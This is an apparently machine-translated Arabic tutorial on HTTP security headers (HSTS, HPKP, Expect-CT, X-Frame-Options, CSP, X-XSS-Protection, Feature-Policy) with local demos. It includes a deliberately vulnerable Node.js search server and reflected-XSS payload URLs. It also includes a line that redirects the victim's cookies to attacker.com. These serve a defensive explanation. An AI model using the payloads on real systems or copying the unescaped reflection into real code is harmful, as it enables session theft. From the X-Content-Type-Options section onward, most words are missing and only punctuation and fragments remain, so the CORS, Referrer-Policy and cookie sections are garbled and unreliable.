كيفية تعزيز الأمن تطبيق ويب مع رؤوس HTTP

هذا هو الجزء الثالث من سلسلة أمان الويب: الجزء الثاني كان " أمان الويب: مقدمة إلى HTTP " ، الأول " كيفية عمل المستعرضات - مقدمة عن أمان تطبيقات الويب ".

كما رأينا في الأجزاء السابقة من هذه السلسلة ، يمكن للخوادم إرسال رؤوس HTTP لتزويد العميل ببيانات تعريف إضافية في الاستجابة ، بالإضافة إلى إرسال المحتوى المطلوب من قبل العميل. يُسمح للعملاء بعد ذلك بتحديد كيفية قراءة مورد معين أو تخزينه مؤقتًا أو حمايته.

طبقت المتصفحات الآن نطاقًا واسعًا جدًا من الرؤوس المتعلقة بالأمان ، مما يجعل من الصعب على المهاجمين استغلال نقاط الضعف. في هذه المقالة ، سنحاول مناقشة كل منها ، وشرح كيفية استخدامها ، والهجمات التي يمنعونها ، والتاريخ القليل لكل عنوان.

تمت كتابة المنشور بدعم من EDISON Software ، التي تسعى جاهدة لتكريم المبرمجين الروس وتشارك بالتفصيل تجربتها في تطوير منتجات البرمجيات المعقدة .

أمان النقل الصارم HTTP (HSTS)

منذ نهاية عام 2012 ، أصبح من الأسهل على أنصار HTTPS Everywhere جعل العميل يستخدم دائمًا الإصدار الآمن من بروتوكول HTTP بفضل Strict Transport Security: الخط البسيط للغاية Strict-Transport-Security: max-age=3600 سيخبر المتصفح أنه خلال الساعة القادمة (3600 ثانية) يجب ألا تتفاعل مع التطبيق من خلال بروتوكولات غير آمنة.

عندما يحاول المستخدم الوصول إلى تطبيق محمي بواسطة HSTS عبر HTTP ، يرفض المتصفح ببساطة الانتقال إلى أبعد من ذلك ، حيث يقوم تلقائيًا بتحويل عناوين URL http:// إلى https:// .

يمكنك التحقق من ذلك محليًا باستخدام رمز github.com/odino/wasec/tree/master/hsts . ستحتاج إلى اتباع الإرشادات الواردة في README (تتضمن تثبيت شهادة SSL موثوق بها للمضيف المحلي على جهاز الكمبيوتر الخاص بك باستخدام أداة mkcert ) ، ثم حاول فتح https://localhost:7889 .

في هذا المثال ، يوجد خادمان: HTTPS ، الذي يستمع إلى 7889 ، و HTTP ، على المنفذ 7888 . عند الوصول إلى خادم HTTPS ، سيحاول دائمًا إعادة توجيهك إلى إصدار HTTP الذي سيعمل لأن HSTS غير متاح على خادم HTTPS. إذا أضفت بدلاً من ذلك hsts=on المعلمة إلى عنوان URL الخاص بك ، فإن المتصفح يحول الارتباط بالقوة إلى https:// version. نظرًا لأن الخادم على 7888 لا يمكن الوصول إليه إلا عبر بروتوكول http ، سينتهي بك الأمر إلى البحث في صفحة تبدو مثل هذا.



قد تكون مهتمًا بمعرفة ما يحدث عندما يزور أحد المستخدمين موقعك للمرة الأولى ، لأن سياسة HSTS غير محددة مسبقًا: يمكن للمهاجمين خداع المستخدم في الإصدار http:// من موقعك وتنفيذ هجوم هناك ، لذلك لا يزال هناك مجال للمشاكل . هذه مشكلة خطيرة لأن HSTS هي آلية ثقة عند الاستخدام الأول. يحاول التأكد من أنه بعد زيارة الموقع الإلكتروني ، يعرف المستعرض أنه يجب استخدام HTTPS في التفاعلات اللاحقة.

قد يكون أحد الحلول لذلك عن طريق الاحتفاظ بقاعدة بيانات ضخمة لمواقع الويب التي تدعم HSTS ، وهو ما يفعله Chrome من خلال hstspreload.org . يجب عليك أولاً تحديد سياستك ثم زيارة الموقع ومعرفة ما إذا كان يمكن إضافتها إلى قاعدة البيانات. على سبيل المثال ، يمكننا أن نرى أن Facebook مدرج في القائمة.



عن طريق إرسال موقع الويب الخاص بك إلى هذه القائمة ، يمكنك إخبار المتصفحات مقدمًا بأن موقعك يستخدم HSTS ، بحيث يكون التفاعل الأول بين العملاء والخادم الخاص بك من خلال قناة آمنة. لكنها مكلفة ، نظرًا لأنك في حاجة فعلاً للمشاركة في HSTS. إذا كنت ترغب ، لأي سبب من الأسباب ، في إزالة موقع الويب الخاص بك من القائمة ، فهذه ليست مهمة سهلة لموفري المتصفح:

ضع في اعتبارك أن التضمين في قائمة التحميل المسبق لا يمكن إلغاؤه بسهولة.

يمكن حذف النطاقات ، لكن الأمر يستغرق شهورًا حتى يتم تحديث Chrome للمستخدمين ، ولا يمكننا ضمان المتصفحات الأخرى. لا تطلب التضمين في القائمة إذا لم تكن متأكدًا من أنه يمكنك دعم HTTPS للموقع بأكمله وجميع نطاقاته الفرعية لفترة طويلة.
- المصدر: https://hstspreload.org/

وذلك لأن الموفر لا يمكنه ضمان أن جميع المستخدمين سيستخدمون أحدث إصدار من متصفحهم وأنه سيتم حذف موقعك من القائمة. فكر جيدًا واتخذ قرارًا بناءً على درجة ثقتك في HSTS وقدرتك على دعمه على المدى الطويل.

تثبيت المفاتيح العامة لـ HTTP (HPKP)

HTTP Public Key Pinning هي آلية تسمح لنا بإخبار المتصفح بشهادات SSL التي يجب توقعها عند الاتصال بخوادمنا. يستخدم هذا العنوان آلية الثقة عند الاستخدام لأول مرة ، مثل HSTS ، ويعني أنه بعد اتصال العميل بخادمنا ، سيقوم بتخزين معلومات الشهادة للتفاعلات اللاحقة. إذا اكتشف العميل في مرحلة ما أن الخادم يستخدم شهادة مختلفة ، فسيرفض بأدب الاتصال ، مما يجعل من الصعب جدًا تنفيذ هجمات "رجل في الوسط" (MITM).

إليك ما تبدو عليه سياسة HPKP:

 Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect" 

يعلن الرأس عن الشهادات التي سيستخدمها الخادم (في هذه الحالة ، اثنتان منهم) باستخدام تجزئة الشهادة ، ويتضمن معلومات إضافية مثل عمر هذا التوجيه ( max-age = 3600 ) والعديد من التفاصيل الأخرى. لسوء الحظ ، لا معنى للتعمق في فهم ما يمكننا فعله بتأمين المفتاح العام ، لأن Chrome لا يوافق على هذه الميزة - إشارة إلى أن اعتماده محكوم عليه بالفشل.

لا يعد حل Chrome غير عقلاني ، بل هو نتيجة للمخاطر المرتبطة بتأمين المفتاح العام. إذا فقدت شهادتك أو ارتكبت خطأً أثناء الاختبار ، فلن يكون موقعك متاحًا للمستخدمين الذين زاروا الموقع من قبل (خلال فترة صلاحية توجيه max-age ، والذي عادة ما يكون أسابيع أو أشهر).

كنتيجة لهذه العواقب الكارثية المحتملة ، كان اعتماد HPKP منخفضًا للغاية ، وكانت هناك أوقات كانت فيها مواقع الويب الكبيرة غير متوفرة بسبب سوء التكوين . بالنظر إلى كل ما سبق ، قرر Chrome أن المستخدمين سيكونون في وضع أفضل بدون الحماية التي توفرها HPKP ، وأن الباحثين في مجال الأمن لا يعارضون هذا القرار تمامًا .

توقع CT

أثناء رفض HPKP ، ظهر رأس جديد لمنع شهادات SSL الاحتيالية للعملاء: Expect-CT .

الغرض من هذا العنوان هو إخبار المستعرض بأنه يحتاج إلى إجراء "عمليات فحص خلفية" إضافية للتحقق من صحة الشهادة: عندما يستخدم الخادم رأس Expect-CT ، فإنه يطلب من العميل بشكل أساسي التحقق من أن الشهادات المستخدمة موجودة في سجلات شهادات الشفافية المفتوحة (ط م).

مبادرة شفافية الشهادة هي جهود Google لضمان:

منصة مفتوحة لمراقبة ومراجعة شهادات SSL في الوقت الحقيقي القريب.

على وجه الخصوص ، تسمح لك شفافية الشهادة باكتشاف شهادات طبقة المقابس الآمنة (SSL) التي تم إصدارها عن طريق الخطأ من قبل مرجع مصدق أو تم الحصول عليها بشكل ضار من مرجع مصدق آخر خالي من العيوب. كما يسمح لك بتحديد المراجع المصدقة التي ارتكبت عمليات الاحتيال وإصدار الشهادات بشكل ضار.
- المصدر: https://www.certificate-transparency.org/

يأخذ الرأس هذا النموذج:

 Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report" 

في هذا المثال ، يسأل الخادم المستعرض:

• تمكين فحص CT للتطبيق الحالي لمدة ساعة واحدة (3600 ثانية)
• enforce تطبيق هذه السياسة ورفض الوصول إلى التطبيق في حالة حدوث انتهاك
• إرسال تقرير إلى عنوان URL المحدد في حالة حدوث انتهاك

الهدف من مبادرة شفافية الشهادة هو الكشف عن الشهادات الخاطئة أو الخبيثة (وسلطات التصديق المخادعة) في وقت مبكر وأسرع وأكثر دقة من أي طريقة أخرى سبق استخدامها.

من خلال تمكين استخدام رأس Expect-CT ، يمكنك أخذ هذه المبادرة لتحسين حالة أمان التطبيق الخاص بك.

خيارات الإطار X

تخيل أنك ترى صفحة ويب مثل هذا



بمجرد النقر على الرابط ، ستفهم أن كل الأموال الموجودة في حسابك المصرفي قد اختفت. ماذا حدث

كنت ضحية لهجوم clickjacking.

وجهك أحد المهاجمين إلى موقعه على الويب ، والذي يعرض رابط نقرات جذابًا للغاية. لسوء الحظ ، قام أيضًا your-bank.com/transfer?amount=-1&[attacker@gmail.com] صفحة iframe مع your-bank.com/transfer?amount=-1&[attacker@gmail.com] ، ولكنه أخفى ذلك عن طريق تعيين الشفافية على 0٪. لقد ظننا أننا نقرت على الصفحة الأصلية ، محاولين الفوز بمطرقة جديدة تمامًا ، لكن بدلاً من ذلك قام المتصفح بتثبيت نقرة على iframe ، وهي نقرة خطيرة تؤكد تحويل الأموال.

تتطلب معظم الأنظمة المصرفية أن تقدم رقم تعريف شخصي لمرة واحدة لتأكيد المعاملات ، لكن البنك الذي تتعامل معه لم يستطع اللحاق بالوقت وفقد كل أموالك.

المثال شديد الشدة ، لكن يجب أن يجعلك تفهم ما يمكن أن تكون عليه عواقب أي هجوم باستخدام clickjacking . ينوي المستخدم النقر فوق ارتباط معين ، بينما يتسبب المتصفح في النقر فوق الصفحة "غير المرئية" ، والتي تم تضمينها كإطار.

لقد أدرجت مثالًا لهذه الثغرة الأمنية في github.com/odino/wasec/tree/master/clickjacking . إذا قمت بتشغيل المثال وحاولت النقر على الرابط "الجذاب" ، فسترى أن النقر الحقيقي يتم اعتراضه من قبل iframe ، مما يجعله غير شفاف ، بحيث يسهل عليك اكتشاف المشكلة. يجب أن يتوفر مثال على http://localhost:7888 .



لحسن الحظ ، توصلت المتصفحات إلى حل بسيط لهذه المشكلة: X-Frame-Options (XFO) ، والذي يسمح لك بتحديد ما إذا كان يمكن دمج تطبيقك كإطارات ifram على مواقع خارجية. تم الترويج لـ XFO لأول مرة في عام 2009 من قبل Internet Explorer 8 ، وهو لا يزال مدعومًا من جميع المتصفحات الرئيسية.

يعمل مثل هذا: عندما يرى المستعرض إطارًا ، يقوم بتحميله ويتحقق من أن XFO الخاص به يسمح بإدراجه في الصفحة الحالية قبل تقديمه.



القيم المدعومة:

• DENY : لا يمكن تضمين صفحة الويب هذه في أي مكان. هذا هو أعلى مستوى من الحماية لأنه لا يسمح لأي شخص بتضمين المحتوى الخاص بنا.
• SAMEORIGIN : فقط الصفحات من نفس المجال مثل الحالي يمكنها إدراج هذه الصفحة. هذا يعني أن example.com/embedder يمكنه تحميل example.com/embedded إذا تم تعيين سياسته على SAMEORIGIN . هذه سياسة أكثر هدوءًا تتيح لمالكي موقع ويب معين تضمين صفحاتهم الخاصة في طلباتهم.
• ALLOW-FROM uri : مرفق مسموح به من URI المحدد. على سبيل المثال ، يمكننا السماح لموقع ويب خارجي معتمد بتضمين المحتوى الخاص بنا باستخدام ALLOW-FROM https://external.com . يستخدم هذا عادةً عند السماح لمطوري الطرف الثالث بتضمين المحتوى الخاص بك من خلال iframe.

استجابة HTTP مثال يتضمن سياسة XFO الصارمة المحتملة هي كما يلي:

 HTTP/1.1 200 OK Content-Type: application/json X-Frame-Options: DENY ... 

لشرح كيفية سلوك المتصفحات عند تشغيل XFO ، يمكننا ببساطة تغيير عنوان URL الخاص بنا إلى http://localhost:7888 /?xfo=on . xfo=on المعلمة xfo=on الخادم بتضمين X-Frame-Options: deny في الاستجابة ، ويمكننا أن نرى كيف يقيد المتصفح الوصول إلى iframe:



تم اعتبار XFO أفضل طريقة لمنع الهجمات القائمة على النقرات بناءً على الإطارات حتى بعد مرور بضع سنوات على ظهور عنوان آخر - سياسة أمان المحتوى أو CSP لفترة قصيرة.

سياسة أمان المحتوى (CSP)

يوفر رأس Content-Security-Policy ، الذي يختصر CSP ، أدوات مساعدة من الجيل التالي لمنع مجموعة متنوعة من الهجمات ، من XSS (البرمجة النصية عبر المواقع) للنقر فوق اعتراض (النقر فوق النقر).

لفهم كيف يساعدنا CSP ، عليك أولاً التفكير في ناقل الهجوم. لنفترض أننا أنشأنا للتو محرك بحث Google الخاص بنا ، حيث يوجد حقل إدخال بسيط به زر إرسال.



تطبيق الويب هذا لا يفعل شيئًا سحريًا. انها بسيطة

• يعرض النموذج
• يسمح للمستخدم بالبحث
• يعرض نتائج البحث مع الكلمة الأساسية التي بحثها المستخدم

عندما نقوم بإجراء بحث بسيط ، يعرض التطبيق ما يلي:



مذهل طلبنا يفهم بشكل لا يصدق بحثنا والعثور على صورة مماثلة. إذا بحثنا في شفرة المصدر المتاحة في github.com/odino/wasec/tree/master/xss ، فسوف ندرك قريبًا أن التطبيق يمثل مشكلة أمنية ، لأن أي كلمة رئيسية يبحث عنها المستخدم تتم طباعتها مباشرةً بتنسيق HTML:

 var qs = require('querystring') var url = require('url') var fs = require('fs') require('http').createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || '' let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...` res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results)) }).listen(7888) <html> <body> <h1>Search The Web</h1> <form> <input type="text" name="search" value="__KEYWORD__" /> <input type="submit" /> </form> <div id="results"> __RESULTS__ </div> </body> </html> 

هذه نتيجة غير سارة. يمكن للمهاجم إنشاء رابط معين ينفذ جافا سكريبت التعسفي في متصفح الضحية.



إذا كان لديك الوقت والصبر لتشغيل المثال محليًا ، فيمكنك بسرعة فهم القوة الكاملة لـ CSP. لقد أضفت معلمة سلسلة استعلام تتضمن CSP ، حتى نتمكن من محاولة الانتقال إلى عنوان URL ضار مع تمكين CSP:

مضيف محلي : 7888 /؟ search =٪ 3Cscript + type٪ 3D 3D٪ 22text٪ 2Fjavascript٪ 22٪ 3Ealert٪ 28٪ 27You٪ 20have٪ 20been٪ 20PWNED٪ 27٪ 29٪ 3C٪ 2Fscript٪ 3E & csp = on

كما ترون في المثال أعلاه ، أخبرنا المتصفح أن سياسة CSP الخاصة بنا تسمح فقط للبرامج النصية المضمنة من نفس مصدر عنوان URL الحالي ، والذي يمكننا التحقق منه بسهولة عن طريق الوصول إلى عنوان URL باستخدام curl والنظر إلى رأس الاستجابة:

 $ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on" HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Security-Policy: default-src 'self' Date: Sat, 11 Aug 2018 10:46:27 GMT Connection: keep-alive 

منذ تنفيذ هجوم XSS باستخدام برنامج نصي مضمن (برنامج نصي مضمن مباشرةً في محتوى HTML) ، رفض المستعرض تنفيذه بأدب ، مما يضمن أمان مستخدمنا. تخيل أنه بدلاً من مجرد عرض مربع حوار تحذير ، يقوم المهاجم بإعداد إعادة توجيه إلى المجال الخاص به من خلال بعض رموز JavaScript ، والتي قد تبدو كالتالي:

 window.location = `attacker.com/${document.cookie}` 

يمكنهم سرقة جميع ملفات تعريف الارتباط الخاصة بالمستخدم ، والتي يمكن أن تحتوي على بيانات سرية للغاية (المزيد حول هذا الموضوع في المقالة التالية).

الآن ، يجب أن يكون من الواضح كيف يساعدنا CSP في منع عدد من الهجمات على تطبيقات الويب. يمكنك تحديد سياسة ، وسوف يلتزم المتصفح بها بشدة ، ويرفض تشغيل الموارد التي تنتهك السياسة.

خيار مثير للاهتمام لـ CSP هو وضع التقرير فقط. بدلاً من استخدام رأس Content-Security-Policy ، يمكنك أولاً التحقق من تأثير CSP على موقعك عن طريق إخبار المستعرض بالإبلاغ عن الأخطاء دون حظر تنفيذ البرنامج النصي ، وما إلى ذلك. استخدام رأس Content-Security-Policy-Report-Only .

ستتيح لك التقارير فهم التغييرات الهامة التي قد تنجم عن سياسة CSP التي ترغب في نشرها وتصحيحها وفقًا لذلك. يمكننا حتى تقديم عنوان URL للتقرير وسوف يرسل المتصفح لنا التقرير. فيما يلي مثال كامل لسياسة التقرير فقط:

 Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector 

يمكن أن تكون سياسات CSP نفسها معقدة بعض الشيء ، على سبيل المثال ، في المثال التالي:

 Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com 

تحدد هذه السياسة القواعد التالية:

• لا يمكن تنزيل البرامج النصية القابلة للتنفيذ (مثل جافا سكريبت) إلا من scripts.example.com
• يمكن تنزيل الصور من أي مصدر ( img-src: * )
• يمكن تنزيل محتوى فيديو أو صوت من مصدرين: medias.example.com و medias.legacy.example.com

كما ترون ، يمكن أن يكون هناك العديد من السياسات ، وإذا أردنا توفير أقصى قدر من الحماية لمستخدمينا ، فقد تكون هذه عملية شاقة إلى حد ما. ومع ذلك ، تعد كتابة سياسة CSP شاملة خطوة مهمة نحو إضافة طبقة إضافية من الأمان إلى تطبيقات الويب الخاصة بنا.

لمزيد من المعلومات حول CSP ، أوصي بـ developer.mozilla.org/en-US/docs/Web/HTTP/CSP .

X-XSS- الحماية

على الرغم من استبداله بـ CSP ، فإن رأس X-XSS-Protection يوفر نفس نوع الحماية. يستخدم هذا الرأس لتخفيف هجمات XSS في المتصفحات القديمة التي لا تدعم CSP بشكل كامل. هذا الرأس غير مدعوم من قِبل Firefox.

بناء الجملة يشبه إلى حد بعيد ما رأيناه للتو:

 X-XSS-Protection: 1; report=http://xssviolations.example.com/collector 

XSS المنعكس هو أكثر أنواع الهجمات شيوعًا عندما تتم طباعة النص الذي تم إدخاله بواسطة الخادم دون أي تحقق ، وهذا هو المكان الذي يحل فيه هذا الرأس حقًا. إذا كنت ترغب في رؤيته بنفسك ، فإنني أوصي بتجربة المثال على github.com/odino/wasec/tree/master/xss ، لأنه بإضافة xss=on إلى عنوان URL ، يعرض ما يفعله المتصفح عند تمكين حماية XSS . إذا أدخلنا سلسلة خبيثة في حقل البحث ، على سبيل المثال ، يرفض المستعرض بأدب تنفيذ البرنامج النصي ويشرح سبب قراره:

 The XSS Auditor refused to execute a script in 'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior. 

والأكثر إثارة للاهتمام هو السلوك الافتراضي في Chrome عندما لا يتم تحديد سياسة CSP أو XSS في صفحة ويب. برنامج نصي يمكننا اختباره عن طريق إضافة المعلمة xss=off إلى عنوان URL الخاص بنا ( http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off ):



من المثير للدهشة أن Chrome حريص بما فيه الكفاية لمنع عرض الصفحات ، مما يجعل من الصعب إنشاء XSS معاكس. مثيرة للإعجاب إلى أي مدى ذهبت المتصفحات.

سياسة الميزة

في تموز (يوليو) 2018 ، نشر الباحث الأمني سكوت هيلم منشورًا مدوَّنًا مثيرًا للاهتمام للغاية يتناول بالتفصيل عنوان الأمان الجديد: Feature-Policy .

المدعومة حاليًا من قِبل عدد قليل جدًا من المتصفحات (Chrome و Safari وقت كتابة هذا التقرير) ، يسمح لنا هذا الرأس بتحديد ما إذا كانت ميزة مستعرض معينة ممكّنة في الصفحة الحالية. مع بناء جملة يشبه إلى حد كبير CSP ، يجب ألا تكون لدينا مشكلة في فهم معنى سياسات الوظيفة ، مثل ما يلي:

 Feature-Policy: vibrate 'self'; push *; camera 'none' 

إذا كانت لدينا جميع الشكوك ، كيف تؤثر هذه السياسة على واجهة برمجة تطبيقات المتصفح ، يمكننا ببساطة تحليلها:

• vibrate 'self' : يسمح للصفحة الحالية باستخدام API الاهتزاز وأي إطار على الموقع الحالي.
• push * : يمكن للصفحة الحالية وأي إطار استخدام واجهة برمجة تطبيقات إعلام الدفع
• camera 'none' : تم رفض الوصول إلى API API للكاميرا في هذه الصفحة وأي إطارات

ميزة السياسة لديها القليل من التاريخ. إذا كان موقعك يسمح للمستخدمين ، على سبيل المثال ، بالتقاط صور سيلفي أو تسجيل صوت ، فسيكون من المفيد للغاية استخدام سياسة تقيد الوصول إلى واجهة برمجة التطبيقات من خلال صفحتك في سياقات أخرى.

X- نوع المحتوى خيارات

في بعض الأحيان ، تؤدي ميزات المتصفح الذكية إلى إلحاق الأذى بنا من حيث الأمان. مثال أولي هو استنشاق MIME ، وهي تقنية شائعة في برنامج Internet Explorer.

MIME- — ( ) . , /awesome-picture.png , (, Content-Type: text/plain ). , .

, IE , MIME-: «» , , , Content-Type , , , , .

-, , , /test.jpg , JavaScript. , ? , HTML , , «», . , , , .

, X-Content-Type-Options: nosniff , MIME-: , , , . , , , .

Cross-Origin Resource Sharing (CORS)

JavaScript HTTP- . , AJAX- example.com example.com .

, — cookie, . , win-a-hummer.com , AJAX your-bank.com . - , HTTP- , , , .

AJAX , Cross Origin Resource Sharing (CORS), , .

, CORS, , , «» CORS.

, , , Access-Control-Allow-Origin , , .

Access-Control-Allow-Origin: * , , , URL-, , Access-Control-Allow-Origin: https://example.com .

github.com/odino/wasec/tree/master/cors , , . , AJAX test-cors test-cors-2 . test-cors-2 CORS, , . http://cors-test:7888/?cors=on



cors URL, :



, , , , . , , . , , , my-bank.com/transfer?amount=1000&from=me&to=attacker. !

, GET - , , POST -? , , , http://cors-test:7888/?method=POST :



POST , , « ». , OPTIONS , . , , POST .

:

• CORS — . , , , .
• API, GET . , .

, -, , , CORS. , , example.com , example.com/_proxy/other.com , , _proxy/other.com/* , other.com .

, , CORS, MDN , developer.mozilla.org/en-US/docs/Web/HTTP/CORS .

X-Permitted-Cross-Domain-Policies

CORS, X-Permitted-Cross-Domain-Policies Adobe ( , Flash Acrobat).

, , . , Adobe crossdomain.xml , , X-Permitted-Cross-Domain-Policies .

? X-Permitted-Cross-Domain-Policies: none , Flash.

Referrer-Policy

, , . Referer , . URL , .

, , . , . Referer . , , .

Referrer-Policy , 2017 , , , URL- Referer .

, Referrer-Policy :

• no-referrer : Referer
• origin : https://example.com/private-page https://example.com/
• same-origin : Referer ,

, Referred-Policy ( strict-origin , no-referrer-when-downgrade . .), , , , . , , OWASP .

Origin Referer , , , . Origin , . -: Origin , .

, HTTP-, cURL, : c url -H "Origin: example.com" api.example.com origin …… Origin ( Referer , ) .

securityheaders.com , -, , - , . , URL, . facebook.com :



, , securityheaders.com — , .

HTTP : cookie

HTTP, , - , .

HTTP: .

, - HTTP , , , ( ) -: - , , « ». , cookie , .